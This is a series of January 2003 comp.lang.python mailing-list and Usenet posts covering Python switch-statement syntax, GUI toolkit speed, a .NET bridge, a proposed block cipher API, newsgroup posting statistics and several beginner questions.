Message-ID: <3E144FA8.6355.2396F1E7@localhost>

Thanks for the link.

>From this page:

http://c2.com/cgi/wiki?SandglassProgramming

I chose "Multi-timer" http://www.programming.de/cpp/timer.zip

which has 10 timers that can count up/down.. its for windows.

--


regarding watch .. no released files yet?  ;-)

Interesting hook and xml-rpc mode, I do have multiple computers, but I use vnc from a 
dual-head windows box.. 




-- 
Brad Clements,                bkc at murkworks.com   (315)268-1000
http://www.murkworks.com                          (315)268-9812 Fax
http://www.wecanstopspam.org/                   AOL-IM: BKClements





From imbosol at vt.edu  Thu Jan 16 15:36:18 2003
From: imbosol at vt.edu (Carl Banks)
Date: Thu, 16 Jan 2003 20:36:18 GMT
Subject: FW: Switch statements again
References: <E4AA6173DD435B45956B8E5F685B49452702F3@hyperspace.synchrologic.com> <1042672900.3e25ed04a5f1a@www.progoth.com> <mailman.1042687953.21581.python-list@python.org> <aXqV9.1044$IZ5.489@nwrddc04.gnilink.net> <x7iswp57ia.fsf@guru.mired.org>
Message-ID: <6JEV9.16610$7O4.1616@nwrddc02.gnilink.net>

Mike Meyer wrote:
> Carl Banks <imbosol at vt.edu> writes:
> 
>> Personally, the elifs don't bother me in the least.  In Python, the
>> switches are likely to make indentation a pain; it's not clear whether
>> case tags should be indented or not.  If they are, you have two
>> indentation levels for the code inside.  If they aren't, you've broken
>> a fundamental property of indentation.
> 
> Why does not indenting the case tags break a fundamental property of
> indentation? Why is something like (using syntax suggested in PEP
> 275):
> 
> when my_value:
>    # Can we do something useful with this?
> in (...):
>    code
> in (...):
>    more code
> else:
>    yet more code
> 
> Any worse than:
> 
> if my_value in (...): code
> elif my_value in (...):
>    more code
> else:
>    more code

Yes.  All of the in statements look back to a single when.  An elif
looks only back to the previous if/elif.  The in statements fall
"inside" the when statement.  The elif falls "after" the previous
if/elif.  So, unindented ins is worse than unindented elifs: that
which fall inside tags ought to be indented.

However, the former is NOT any worse than try followed by a bunch of
excepts.  All the excepts look back to the same try.  Conceptually,
the excepts should be nested inside the try statement, but I (and
everyone else) have been happily using them where they are.

For that reason, I retract my statement.


-- 
CARL BANKS



From cgjunkaddr at attbi.com  Thu Jan 30 02:50:37 2003
From: cgjunkaddr at attbi.com (Chetan Gadgil)
Date: Thu, 30 Jan 2003 07:50:37 GMT
Subject: Update: KOBRA - .NET for Python
References: <4uJZ9.77775$6G4.11854@sccrnsc02> <8kmg3vobt33v5ivfhdn4r115029gtn5o8t@4ax.com> <FR3_9.86256$VU6.50446@rwcrnsc52.ops.asp.att.net>
Message-ID: <hP4_9.20368$to3.26995@rwcrnsc51.ops.asp.att.net>

I could write a native bool type for python so that .NET can distinguish
between ints and bools. (of course, there are more ways to do this e.g. wrap
in a python instance etc.), however, I have some more features in mind for
kobra - those that I need before bools. For me, whatever is not conveniently
doable in python I do in C# (e.g. the DotNetHelperLib.dll, WebServiceHelper
etc.)

I am going to start on callbacks to python sometime later (when I need)

For now, I will be using the library myself extensively for my .NET work and
will post updates/fixes as I need to make them.

Thanks again, for your comments/suggestions.

Regards
Chetan Gadgil


"Chetan Gadgil" <cgjunkaddr at attbi.com> wrote in message
news:FR3_9.86256$VU6.50446 at rwcrnsc52.ops.asp.att.net...
> Thanks for your comments.
>
> "System.Boolean" is returned as a boxed object. e.g. try something like:
> pointObj.IsEmpty()
>
> this will return a boxed object
>
> Int32 is mapped directly to python long (to and fro)
>
> You should not get any errors. (See the example to create a point - with
the
> constructor)
>
> ---
> Check out http://www.gadgil.net/DotNetWrapperForPython.htm for updated
docs.
> ---
>
> A new version is also avilable.
>
> Regards
> Chetan Gadgil
>
>
> "Kyle Yancey" <kyle at lakeofburningfire.org> wrote in message
> news:8kmg3vobt33v5ivfhdn4r115029gtn5o8t at 4ax.com...
> > It's nice that your not letting this project stagnate.  I'm suprised
> > at how often you've updated it since I started reading this newsgroup.
> > I have one request/suggestion.  It would be nice if I could declare
> > built-in types such as System.Boolean or System.Int32. I keep getting
> > debugger errors when I try.  Also, the same thing happens when I try
> > to declare a System.Reflection.Assembly object. Thanks for the
> > library.
> >
>
>





From bdesth at nospam.free.fr  Fri Jan 10 00:52:31 2003
From: bdesth at nospam.free.fr (laotseu)
Date: Fri, 10 Jan 2003 00:52:31 -0500
Subject: GUI speed
References: <mailman.1042070716.17019.python-list@python.org> 	<slrnb1pk9b.ga.gerhard.haering@lilith.my-fqdn.de> <mailman.1042079655.13981.python-list@python.org>
Message-ID: <3E1E5F9F.8000700@nospam.free.fr>

Tim Churches wrote:
> On Wed, 2003-01-08 at 15:32, Gerhard H?ring wrote, not entirely
> helpfully,:
> 
>>Rick Richardson wrote:
>>
>>>I'm currently reviewing technologies for a large, gui intensive application.
>>>We're planning on having a template driven dynamic gui system, but having
>>>written Java gui's in the past I'm concerned that python may share java's
>>>affliction and be slower than molassses in January.
>>> 
>>>Can anyone out there comment on the relative speed of Java's gui libs and
>>>any one of the python gui libs?
>>
(snip)


> Others will comment on pyQT and Tkinter,
(snip)

Well, I'm not sure Tkinter is the best choice for a "large, gui 
intensive application". Tkinter calls the Tcl interpreter, which means 
you have two layered interpreters running, where wxPython and pyQT are 
just bindings to C++ libs.

Just my 2 cents...

Laotseu






From bkc at Murkworks.com  Thu Jan 30 09:57:18 2003
From: bkc at Murkworks.com (Brad Clements)
Date: Thu, 30 Jan 2003 09:57:18 -0500
Subject: rlcompleter2 0.95 Interactive Completion
References: <mailman.1043883014.5209.python-list@python.org>
Message-ID: <3e393cc3_1@spamkiller.newsgroups.com>

I didn't find your email address on your website (oh hey, there it is below)

Anyway, another install option (instead of PYTHONSTARTUP) is to put code in
sitecustomize.py


--
Novell DeveloperNet Sysop #5

_
"holger krekel" <hpk at trillke.net> wrote in message
news:mailman.1043883014.5209.python-list at python.org...
>
> rlcompleter2-0.95  Python readline aka <tab> completion
> -------------------------------------------------------
>
> There are some small bugfixes and enhancements with
> the 0.95 version.  Moreover, i rearranged/extended
> the website, added an issue tracker (roundup) for bugs
> and feature wishes and a development mailistlist.
> Please find it all here:
>
>     http://codespeak.net/rlcompleter2/
>
> I don't quite expect much traffic on the mailing list
> but it might be a good place to discuss further
> runtime introspection developments.
>
> One of my ideas is to make the completer 'embeddable'
> into an application.  A frontend could then connect
> to a running application and you could live-inspect your
> system (with tab-completion).  Apart from a terminal
> frontend a web based app could provide navigation and
> browsing through live objects  (including their
> documentation).  Anybody interested in stuff like
> this is invited to join the mailing list.
>
> thanks for your attention,
>
>     holger
>




-----------== Posted via Newsfeed.Com - Uncensored Usenet News ==----------
   http://www.newsfeed.com       The #1 Newsgroup Service in the World!
-----= Over 100,000 Newsgroups - Unlimited Fast Downloads - 19 Servers =-----



From mystery at golden.net  Wed Jan  8 17:27:39 2003
From: mystery at golden.net (Etienne Charland)
Date: Wed, 8 Jan 2003 17:27:39 -0500
Subject: Python vs .Net
References: <mailman.1042016958.29335.python-list@python.org>
Message-ID: <RI1T9.27$YC4.5737573@mantis.golden.net>

I would see 2 says. You could

1) Have a IMatrix interface, and each element is of that type. You could
have a typed matrix:
IMatrix [4][4] matrix;
that interface would contain methods needed to do what you want to do with
the matrix elements and could be implemented for different types

2) Have an array of type Object, and use operator overloading. You can have
your custom classes with custom operators.
Object[4][4] matrix;
matrix[1] = matrix[2] + matrix[3];

note that operator overloading is not availlable in VB.Net, only in C#.
However, I prefer using the first approach since it gives more flexibility
and it's, IMO, easier to read.

"Brian Quinlan" <brian at sweetapp.com> wrote in message
news:mailman.1042016958.29335.python-list at python.org...
> > Sorry - but my math is a bit rusty - wouldn't a matrix just be an
> array
> > of floats (or maybe complex numbers), that would seem to be a pretty
> > straightforward definition and one that wouldn't impose an undo burden
> > on using the routine.
>
> A typical definition might be:
>
> typedef float[4][4] matrix
>
> But what if I want it to work with doubles? Or I do have a different
> implementation of matrix that uses a single array of 16 floating point
> types.
>
>
>
> > > > Now regardless if we're talking about "+" or Add, I think that we
> > can
> > > > both agree on what to expect if both a & b are Integers or
> Strings.
> > > > What if one is an integer & one is a string, however.  What if the
> > > > string has a numeric value?  What if we have an Integer and a
> Float.
> > >
> > > It makes mathematical sense for integers and reals to be addable
> > because
> > > the set of integers is a subset of the set of reals.
> > >
> > > Strings and integers are quite unrelated.
> >
> > Actually what I was trying to infer with this, and the reference to
> the
> > PEP later on, is that if you add 2 integers, I would expect an integer
> > result.
>
> That's what you get.
> > What kind of result would you get when adding an integer and a
> > float?  Neither Python nor VB has any problems with that  & doesn't
> > require a specific cast - I think that it's called 'promotion' or
> > something like that in VB, where 2 compatible (but different type)
> > arguments can be mixed and the result is in the form of the argument
> > with the larger 'scale'(?)
>
> If you have a hierarchy like this:
>
> A
> |___
> B   C
> |
> D
>
> If you add a C instance and a D instance, it would make sense that the
> result is an A instance, because that is that the common base of the two
> types.
>
> Cheers,
> Brian
>
>





From mertz at gnosis.cx  Wed Jan 15 16:04:59 2003
From: mertz at gnosis.cx (Lulu of the Lotus-Eaters)
Date: Wed, 15 Jan 2003 16:04:59 -0500
Subject: Python as a base for an Open Source Foxpro
References: <5c07cc6.0301151206.455286ac@posting.google.com>
Message-ID: <7zcJ+kKkXcxV092yn@gnosis.cx>         

p-nowak at eelink.net (Paul Nowak) wrote previously:
|Hello, I have been doing some thinking about writing an open source
|implementation of FoxPro.

http://www.harbour-project.org/

--
Keeping medicines from the bloodstreams of the sick; food from the bellies
of the hungry; books from the hands of the uneducated; technology from the
underdeveloped; and putting advocates of freedom in prisons.  Intellectual
property is to the 21st century what the slave trade was to the 16th.




From anthonyi at toolboxsoftware.com.au  Thu Jan 30 00:54:46 2003
From: anthonyi at toolboxsoftware.com.au (Anthony Irwin)
Date: Thu, 30 Jan 2003 05:54:46 GMT
Subject: A few quick questions
Message-ID: <G63_9.5232$Tu2.18529@news-server.bigpond.net.au>

Hi,

I am Interested in learning more about python, I would like to know how
people feel it rates as an application development language. I mainly use
linux but also use windows at work.

could anyone point out any good gui programming tutorials for linux or
crossplatform toolkits and also maybe some review articles on how well
python rates as a language.

would it be possible to create programs like dreamweaver, games, database
business apps etc. Or is it more suited to smaller projects.

any input would be helpful

kind regards,
Anthony Irwin





From cnetzer at mail.arc.nasa.gov  Tue Jan 28 17:02:16 2003
From: cnetzer at mail.arc.nasa.gov (Chad Netzer)
Date: Tue, 28 Jan 2003 14:02:16 -0800
Subject: New Python block cipher API, comments wanted
In-Reply-To: <7x65s9dnea.fsf@ruckus.brouhaha.com>
References: <7x3cneku24.fsf_-_@ruckus.brouhaha.com> <yyybs21m67q.fsf@adams.patriot.net> <7x65s9dnea.fsf@ruckus.brouhaha.com>
Message-ID: <200301282202.OAA25828@mail.arc.nasa.gov>

On Tuesday 28 January 2003 12:34, Paul Rubin wrote:

> I do want to get a package into the 2.3 release.

Pardon me for asking Paul, but why the rush?  'Haste' and 'Cryptography 
toolkit implementation' are two phrases that do not seem like they 
should go together.  I appreciate your enthusiasm, but I can't help but 
think, if you are aiming to get this into the standard python 
distribution, that you should be shooting for the NEXT version of 
python (say 2.4), to let your interface and implementation have time to 
settle out.  PEP 2 would seem to indicate that you will need to build 
some consensus to actually get your module accepted.

You seem to be responding (at least in part) to PEP 272, which has an 
alternate design for a cryptography module (or modules).  Wouldn't it 
be best to respond to that PEP, and update it, or perhaps put forth 
another PEP for people to consider?  Also, there are other python 
cryptography toolkits, why should yours be included and not theirs 
(especially when they've been around longer, and probably have more 
users).  I'd hate to see multiple toolkits put in just because everyone 
was too hasty for the API to settle down and show its worth.

In the mean time, I'd say get a place where people can publicly discuss 
your module (I'll subscribe to python crypto mailing list), and track 
revisions.  Also, get the test vectors included and working, so you can 
make changes without fear of unknowingly breaking the cipher.  And 
when you distribute a tar file, make sure it untars into a 
subdirectory, not the directory of the tar file (which is annoying, 
especially if the number of files grows large)

In any case, I haven't fooled around w/ cryptography since my Java days 
(when I did my graduate coursework in it), and now that there are some 
good Python alternatives, I might get back into it.  But you need to 
allow people time to use your module before you can get reasonable 
feedback on it (IMO).


-- 
Bay Area Python Interest Group - http://www.baypiggies.net/

Chad Netzer
(any opinion expressed is my own and not NASA's or my employer's)




From phr-n2002b at NOSPAMnightsong.com  Sun Jan 12 14:46:31 2003
From: phr-n2002b at NOSPAMnightsong.com (Paul Rubin)
Date: 12 Jan 2003 11:46:31 -0800
Subject: [ann] Minimal Python project
References: <mailman.1042209749.31180.python-list@python.org> <FOIT9.121090$Hs2.11398609@kent.svc.tds.net> <7xr8bjgz4x.fsf@ruckus.brouhaha.com> <mailman.1042326208.15022.python-list@python.org> <7x4r8ej1r9.fsf@ruckus.brouhaha.com> <mailman.1042393464.20506.python-list@python.org>
Message-ID: <7x8yxqduco.fsf@ruckus.brouhaha.com>

Christian Tismer <tismer at tismer.com> writes:
> Opcode dispatch is expensive, so I have to create effective opcodes
> with direct parameter access.  But maybe you're right and it
> shouldn't be MMIX.

I remember seeing a paper once about OpenGenera which was a
proprietary (not "open" despite its name) program to run Symbolics
Genera programs on the DEC Alpha by simulating the Lisp machine
instruction set.  It basically said they found that by making the
simulation's interpreter loop and register set small enough to fit in
the Alpha's primary caches it ran as fast as they'd expect microcode
to run.  

> Maybe further that this absolutely doesn't matter at all: Any
> working virtual machine *would do it*, since we finally want to
> create code for the target hardware, and the virtual must only work
> for the bootstrapping phase. (Well, it should load the real engine
> in finite time :-)

Yes, that's reasonable too.

> [Language extensions]
> 
> > I think that local declarations and type hints are useful language
> > improvements for more reasons than helping generate fast code...
> 
> You are right.
> There are some reasons why I don't want to go this
> way right from the beginning:
> You have started this thread once and it went nowhere.
> I also remember of many threads concerning type
> notations and interfaces and whatsoever.
> They all went into some doomed state after burning
> many hours of thinking and writing.

Yes, if you want to implement an extension of this type it's better to
just pick out a way to do it and code it up, than to spend weeks
posting netnews about different possible methods.  There's also a nice
characteristic of experimental implementations, that if you don't like
how a feature works out, you can change it, unlike if it gets into a
real Python release and people start depending on it.  However, I can
understand your approach of wanting to leave it out completely at
first and possibly add it later if it's needed.

> I just don't want to loose much time now.  If we start changing
> Python before implementing something, then I fear this project will
> die out because we get stuck in the same discusions, again.  Better
> to go without hints and languages improvements as much as
> possible. This makes the project much less vulnerable.

I think you should feel willing to take some liberties with the
language if it makes your implementation cleaner.  A lot of the weird
corners of Python seem to me to be implementation hacks based on
CPython internals anyway.  Plus, I've mentioned that coding in Python
gives me something like the joy that I imagine that the 1960's Lisp
hackers must have felt.  The language itself is in similar shape to
1960's Lisp, with just two implementations (CPython and Jython), both
of them interpreters.  If the development of native-code Python
compilers results in some language evolution like it did for Lisp,
that's natural and not a bad thing.  However, it all depends on what
your goals are.  I don't personally see a pure, faithful, exact
reimplementation of a static target whose existing implementation is
free and works perfectly well on a wide range of platforms as being
something I'd want to devote precious volunteer energy to.  It's much
more interesting to be able to expand the boundaries of what's been
done before (as Stackless expanded boundaries).  However, YMMV.




From akjmicro at yahoo.com  Sat Jan 25 17:22:03 2003
From: akjmicro at yahoo.com (Aaron K. Johnson)
Date: Sat, 25 Jan 2003 16:22:03 -0600
Subject: December 2002 comp.lang.* stats
References: <b0tctd$9cn$1@bob.news.rcn.net> <877kct1tgk.fsf@flibuste.net> <b0unpk$6aj$1@bob.news.rcn.net> <87znppx8p3.fsf@flibuste.net>
Message-ID: <b0v2nc$9mf$1@bob.news.rcn.net>

In message <87znppx8p3.fsf at flibuste.net>, William wrote:

I gave William a new script. I found a bug in the old one.......


> thanks to 
> Aaron K. Johnson <akjmicro at yahoo.com>:
> 
> the french stats (december 2002)
> 
> i'v added the total of messages and the % of messages by author
> fr.comp.lang.php          1231   4661 3.79
> fr.comp.lang.java          974   3541 3.64
> fr.comp.lang.c++           644   6074 9.43
> fr.comp.lang.c             577   4240 7.35
> fr.comp.lang.javascript    536   2221 4.14
> fr.comp.lang.perl          359   1234 3.44
> fr.comp.lang.basic         351   1001 2.85
> fr.comp.lang.pascal        167    495 2.96
> fr.comp.lang.general       156    357 2.29
> fr.comp.lang.python        154    753 4.89
> fr.comp.lang.ada           113    408 3.61
> fr.comp.lang.tcl            76    304 4.00
> fr.comp.lang.caml           68    355 5.22
> fr.comp.lang.lisp           46     77 1.67
> fr.comp.lang.postscript     26     39 1.50
> 
> :((( i go to post this stats on the french newsgroup, it will be
> one more for the next month !
> 
> I want to interpret this like that: python is so easy that we don't need
> to post any question on newsgroup.
> 
> 
> > In message <877kct1tgk.fsf at flibuste.net>, William wrote:
> > > Aaron K. Johnson <akjmicro at yahoo.com> writes:
> > > 
> > > > Ok.
> > > > 
> > > > I've finally taken into account the objections raised herein, and
> > > modified my
> > > > usenet query algorithms.
> > > > 
> > > > What you see below are pure and simple the number of unique posters to
> > > each
> > > > comp.lang.whatever hierarchy in December 2002.
> > > 
> > > can you give us your script ? i would like to compare with
> fr.comp.lang.*
> > 
> > William, I'll send you a private email with the script.
> > 
> > Anyone else who wants it, I'll send it to you, with the caveat that any
> > improvements you make to it, you send back to me, or uses you put it to,
> you
> > give me the output to......
> > 
> > > > 
> > > > Thanks,
> > > > Aaron.
> > > > 
> > > > comp.lang.java 5347
> > > > comp.lang.c++ 3075
> > > > comp.lang.perl 2136
> > > > comp.lang.javascript 2130
> > > > comp.lang.python 1996
> > > > comp.lang.basic 1758
> > > > comp.lang.c 1670
> > > > comp.lang.labview 958
> > > > comp.lang.clipper 922
> > > > comp.lang.tcl 853
> > > > comp.lang.pascal 805
> > > > comp.lang.ruby 767
> > > > comp.lang.clarion 707
> > > > comp.lang.lisp 587
> > > > comp.lang.fortran 517
> > > > comp.lang.smalltalk 391
> > > > comp.lang.asm 386
> > > > comp.lang.cobol 382
> > > > comp.lang.ada 376
> > > > comp.lang.vhdl 370
> > > > comp.lang.scheme 349
> > > > comp.lang.postscript 319
> > > > comp.lang.prolog 243
> > > > comp.lang.functional 237
> > > > comp.lang.idl-pvwave 230
> > > > comp.lang.forth 226
> > > > comp.lang.verilog 223
> > > > comp.lang.awk 211
> > > > comp.lang.vrml 153
> > > > comp.lang.rexx 147
> > > > comp.lang.apl 142
> > > > comp.lang.mumps 126
> > > > comp.lang.pl1 121
> > > > comp.lang.misc 115
> > > > comp.lang.objective-c 108
> > > > comp.lang.eiffel 101
> > > > comp.lang.logo 80
> > > > comp.lang.ml 73
> > > > comp.lang.asm370 65
> > > > comp.lang.dylan 38
> > > > comp.lang.modula3 30
> > > > comp.lang.oberon 26
> > > > comp.lang.modula2 23
> > > > comp.lang.pop 22
> > > > comp.lang.icon 17
> > > > comp.lang.idl 15
> > > > comp.lang.limbo 5
> > > > comp.lang.clos 4
> > > > comp.lang.prograph 2
> > > > comp.lang.clu 2
> > > > 
> > > 
> > 
> > 
> 





From peter at engcorp.com  Mon Jan  6 22:34:44 2003
From: peter at engcorp.com (Peter Hansen)
Date: Mon, 06 Jan 2003 22:34:44 -0500
Subject: CGIHTTPServer and POST with Netscape versus IE
References: <3E1A4A4D.50C5DB52@engcorp.com>
Message-ID: <3E1A4AD4.DA872FE3@engcorp.com>

Peter Hansen wrote:
> 
> We've encountered a little problem in a test program
> involving the standard module CGIHTTPServer.py and a POST
> operation from Internet Explorer.

I forgot a possibly key detail: the server responds properly
when run under Linux, but fails when run under Windows 98.

Given that IE's behaviour is suspicious at best, it seems 
likely that the fact that Linux works is either a fluke,
or a testament to some extra robustness therein, but does
not necessarily mean this is "yet another Windows problem".

If I'm wrong about that, please let me know.

-Peter



From imbosol at vt.edu  Sun Jan 19 16:17:31 2003
From: imbosol at vt.edu (Carl Banks)
Date: Sun, 19 Jan 2003 21:17:31 GMT
Subject: Coding standard: Prefixing variables to indicate datatype
References: <0BuV9.11459$CG6.203654@news4.e.nsc.no> <pan.2003.01.17.09.34.53.724229@webone.com.au> <tlSdnV4T_spIoLWjXTWcqg@comcast.com> <3E28D273.13497D3E@alcyone.com> <b0cugo$97r$1@panix2.panix.com> <i7KdnckAi6lfkLejXTWcog@comcast.com> <Z2DW9.1203$Sv3.158990@newsread1.prod.itd.earthlink.net> <mailman.1043010041.6455.python-list@python.org>
Message-ID: <LBEW9.15345$V75.5001@nwrddc02.gnilink.net>

Jp Calderone wrote:
> [-- text/plain, encoding quoted-printable, 30 lines --]
> 
> On Sun, Jan 19, 2003 at 07:32:09PM +0000, Hans Nowak wrote:
>> Terry Reedy wrote:
>> 
>> [join method]
>> >And likewise, admitting that it is a bit ugly, at least to some,
>> >is no exclusion to thinking that it is very handy to have it
>> >directly available, just like its quasi-inverse, .split(),
>> >and with the same syntax.
>> 
>> If the join operation is done by calling a method on the separator, I would 
>> expect the same on the split operation:
>> 
>>   " ".split("a b c")
>>   # should yield ["a", "b", "c"]
>> 
>> ...but for some reason, that didn't make it into the design. ;-)
> 
>  "A foolish consistency is the hobgoblin of little minds."  -rwe
> 
>  "a b c".split(" ") makes sense.  " ".join(("a", "b", "c")) does, too.
> ("a", "b", "c").join(" ") might make sense, but it would also involve
> writing a pile more code, and reducing the usefulness of the operation.  So
> why aim for consistency, when we can achieve usefulness instead?

He wasn't asking for ("a", "b", "c").join(" "), chief.  Reading is
fundamental.


-- 
CARL BANKS



From ark at research.att.com  Thu Jan  9 09:18:14 2003
From: ark at research.att.com (Andrew Koenig)
Date: Thu, 9 Jan 2003 14:18:14 GMT
Subject: Do pythons like sugar?
References: <6u6q1vk7dgjps43t0uuk8eut1ghlgnoc71@4ax.com>
Message-ID: <yu99hecih0ex.fsf@europa.research.att.com>

Afanasiy> Does Python? eg. `with self do:`

Afanasiy>   def format( self, width=80 ):    
Afanasiy>     self.lines = ['']
Afanasiy>     i = 0
Afanasiy>     for word in self.text.split():  
Afanasiy>       if self.textwidth(self.lines[i]) + self.textwidth(word) <= width:
Afanasiy>         if self.textwidth(self.lines[i]) > 0:
Afanasiy>           self.lines[i] += ' '
Afanasiy>         self.lines[i] += word
Afanasiy>       else:
Afanasiy>         i += 1
Afanasiy>         self.lines.append(word)


   def format( self, width=80 ):    
     lines = self.lines = ['']
     textwidth = self.textwidth
     i = 0
     for word in self.text.split():  
       if textwidth(lines[i]) + textwidth(word) <= width:
         if textwidth(lines[i]) > 0:
           lines[i] += ' '
         lines[i] += word
       else:
         i += 1
         lines.append(word)

-- 
Andrew Koenig, ark at research.att.com, http://www.research.att.com/info/ark



From opengeometry at yahoo.ca  Fri Jan 17 20:45:51 2003
From: opengeometry at yahoo.ca (William Park)
Date: 18 Jan 2003 01:45:51 GMT
Subject: Towards a Python machine?
References: <r3ah2vct96fthj6s6iq1albk9vbap48nsk@4ax.com> <7xvg0nw8ez.fsf@ruckus.brouhaha.com>
Message-ID: <b0abkf$nej20$1@ID-99293.news.dfncis.de>

Paul Rubin <phr-n2003b at nospamnightsong.com> wrote:
> John Hall <wweexxsseessssaa at telusplanet.net> writes:
>> Years ago there was talk (isn't there always?) about Forth-on-a-chip
>> or was that Forth-in-a-box? Did it come to anything?
> 
> Yeah, a number of Forth machines have been built.  Also Lisp and
> Smalltalk machines.  A Lisp machine could probably run a Python-like
> language pretty well.

Yeah, but can they run 'vi' which I cannot live without.

-- 
William Park, Open Geometry Consulting, <opengeometry at yahoo.ca>
Linux solution for data management and processing. 



From aschlueter at pqrs.de  Fri Jan 24 07:48:26 2003
From: aschlueter at pqrs.de (Axel Schlueter)
Date: Fri, 24 Jan 2003 13:48:26 +0100
Subject: Error handling when embedding python...
In-Reply-To: <b0r8pm$aiv$05$2@news.t-online.com>
References: <b0r7b0$snt6o$1@ID-88790.news.dfncis.de> <b0r8pm$aiv$05$2@news.t-online.com>
Message-ID: <b0rcmq$s3lj6$1@ID-88790.news.dfncis.de>

Martin v. L?wis wrote:
> How do you invoke the Python code? Python will not, normally, print an 
> error on stderr, but will return a NULL value from the API, with a 

Good hint, thanks. After looking into the implementation of
PyRun_SimpleString(), which I was using, I instantly know how
error handling works.

best regards,
Axel
-- 
,gis siht no noitpyrcne eht gnikaerb yB
.liaj ot oG .ACMD eht detaloiv evah uoy




From pythonhda at yahoo.com.replacepythonwithlinux  Fri Jan 10 14:03:26 2003
From: pythonhda at yahoo.com.replacepythonwithlinux (pythonhda)
Date: Fri, 10 Jan 2003 14:03:26 -0500
Subject: Doesn't work (was: Re: httplib won't accept URL with parameters (???))
References: <avcvi1$5av$03$1@news.t-online.com>
	<20030106220321.49b87b0a.pythonhda@yahoo.com.replacepythonwithlinux>
	<avfgo9$clb$05$1@news.t-online.com>
	<20030107191323.72236889.pythonhda@yahoo.com.replacepythonwithlinux>
	<avh1a0$kle$04$1@news.t-online.com>
	<20030108125105.0e956b3c.pythonhda@yahoo.com.replacepythonwithlinux>
	<avl383$vs2$05$1@news.t-online.com>
Message-ID: <20030110140326.16679355.pythonhda@yahoo.com.replacepythonwithlinux>

On Fri, 10 Jan 2003 01:20:16 +0100
Phillip <ritschratsch at gmx.de> wrote:

...

> 
>  >and then use the >HTTPConnection class becuase that is
>  >what is in use now.
> 
> I don't quite get the documentation on how I'm supposed to tackle this.
> HTTPConnection has different parameters (3 instead of 2) and some other 
> issues that aren't *that* well dosumented. From what I gather I just 
> can't change the constructor and be done with it....
> A, well, we'll see.
> 

I don't quite understand what you mean. You didn't change the contructor in your original code. You basically wrapped procedure code into a class

Check section 11.6.3 in the docs (I have Python 2.2.1) I was able to reproduce what you wanted to do originally (using the examples from that section) in about 7 lines of code.

Also check out:  http://web.pydoc.org/2.2/httplib.html

> 
>  > I hope that helps.
> Yeah, it did. I might need some more! :-)
> 
> Phillip
> 

No prob, I'm here to help/learn also....



From sholden at holdenweb.com  Tue Jan 28 09:07:45 2003
From: sholden at holdenweb.com (Steve Holden)
Date: Tue, 28 Jan 2003 14:07:45 GMT
Subject: spambayes rocks
References: <rulk2v0346as3faklg246o9ct42n359t2u@4ax.com> <87fzre2xth.fsf@zamazal.org>
Message-ID: <R8wZ9.31972$Vh.21432@news2.central.cox.net>

"Milan Zamazal" <pdm at zamazal.org> wrote in message
news:87fzre2xth.fsf at zamazal.org...
> >>>>> "CS" == Chris Spencer <clspence at one.net> writes:
>
>     CS> Spammers should be very afraid of this library.
>
> No, IMHO spammers *profit* from such highly personalized solutions.
>
> Please note that the primary goal of most spammers is not to annoy you,
> that's only side effect.  They'll be happy if *you* can filter all the
> spam out and stop complaining about it.  Until 99% of all e-mails is
> spam, your CPU and network connection get overloaded and you get annoyed
> by spam again, of course.
>
> Milan Zamazal
>
> --
> Todays marketing hype top-list report:
[...]

>From my experience, it'll only take about another two years to reach the
situation where 99% of all email *is* spam. Don't apologize for these
people, they are abusing an open communication system for their own ends.

and-only-i-should-be-allowed-to-do-that-ly y'rs  - steve
--
Steve Holden                                  http://www.holdenweb.com/
or, just for the heck:      http://www.google.com/search?q=Steve+Holden
Python Web Programming                 http://pydish.holdenweb.com/pwp/
Bring your musical instrument to PyCon!    http://www.python.org/pycon/






From aahz at pythoncraft.com  Wed Jan  1 14:09:59 2003
From: aahz at pythoncraft.com (Aahz)
Date: 1 Jan 2003 14:09:59 -0500
Subject: Differences between Methods and functions
References: <3e1328fe$0$11376$626a54ce@news.free.fr>
Message-ID: <auvee7$ort$1@panix2.panix.com>

In article <3e1328fe$0$11376$626a54ce at news.free.fr>,
adfgvx <adfgvx at free.fr> wrote:
>
>I have noticed a strange thing (for me). I have written a function that
>recursively walk throught a tree produced by the pyRXP XML parser.
>Everything is ok, fast and produces good result.
>
>I transformed it a little (just add self. !) to include it in an object as a
>method (still recursive) but now the walk is very much slower (about 100
>times !!).
>I don't understand why !

Please post your code.
-- 
Aahz (aahz at pythoncraft.com)           <*>         http://www.pythoncraft.com/

"There are three kinds of lies: Lies, Damn Lies, and Statistics."  --Disraeli



From tjreedy at udel.edu  Sat Jan 11 17:22:15 2003
From: tjreedy at udel.edu (Terry Reedy)
Date: Sat, 11 Jan 2003 17:22:15 -0500
Subject: [ann] Minimal Python project
References: <mailman.1042209749.31180.python-list@python.org> <FOIT9.121090$Hs2.11398609@kent.svc.tds.net> <3E2058FA.F676DCFC@engcorp.com> <SrZT9.121191$Hs2.11493220@kent.svc.tds.net> <v2111cf3gg193a@news.supernews.com>
Message-ID: <HlGdnUonb9-FB72jXTWcoQ@comcast.com>

"John Roth" <johnroth at ameritech.net> wrote in message
news:v2111cf3gg193a at news.supernews.com...
>
> "Edward K. Ream" <edream at tds.net> wrote in message
> news:SrZT9.121191$Hs2.11493220 at kent.svc.tds.net...
> > A better rule of thumb, IMO, is that extraordinary claims require
> > extraordinary justification.
>
> Whether or not a claim is extraordinary is totally in the mind (if
> any) of the person who dislikes the claim.

There are people who claim they can fly (levitate) by meditating, or
by willing it so.  I think it would be wonderful (I even tried it as a
kid).  But given the lack of any credible public demonstration
anywhere, anytime, I feel comfortable in regarding it as an
'extraordinary' claim.  And in wanting to see such a feat in person
before I really, really believed it.

Terry J. Reedy





From spencer at efn.org  Wed Jan 15 12:32:25 2003
From: spencer at efn.org (Spencer Ernest Doidge)
Date: 15 Jan 2003 17:32:25 GMT
Subject: Efficiency: list or tuple?
Message-ID: <b045v9$79k$1@news.efn.org>

I'm interested in putting pairs of integers and floats into a sequence 
of indeterminate length.
I'm collecting this data in real time, and I want to use the most efficient
available method so as to be able to gather data as fast as possible and
append it to the sequence as I go. 
As far as I can tell, I have lists and tuples to choose from. 
Does either of these structures work better in this situation, or is
there some other way I don't know about?

-- 
Spencer Doidge



From hancock at anansispaceworks.com  Mon Jan  6 14:43:45 2003
From: hancock at anansispaceworks.com (Terry Hancock)
Date: Mon, 6 Jan 2003 11:43:45 -0800
Subject: new years resolutions
In-Reply-To: <20030106172638.7165.65456.Mailman@mail.python.org>
References: <20030106172638.7165.65456.Mailman@mail.python.org>
Message-ID: <E18VdAw-0006NT-00@hawk.mail.pas.earthlink.net>

On Monday 06 January 2003 09:26 am,  Gon?alo Rodrigues  wrote:
> I have always had my ideal notion of University somewaht akin to those
